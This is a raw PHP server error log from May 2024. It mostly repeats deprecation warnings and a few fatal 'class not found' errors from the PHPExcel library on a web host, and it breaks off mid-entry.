Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:10:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:10:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 12:37:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 13:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-May-2024 18:00:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-May-2024 18:47:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-May-2024 18:54:12 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-May-2024 19:49:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-May-2024 20:00:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-May-2024 20:13:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-May-2024 22:52:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-May-2024 06:36:37 UTC] PHP 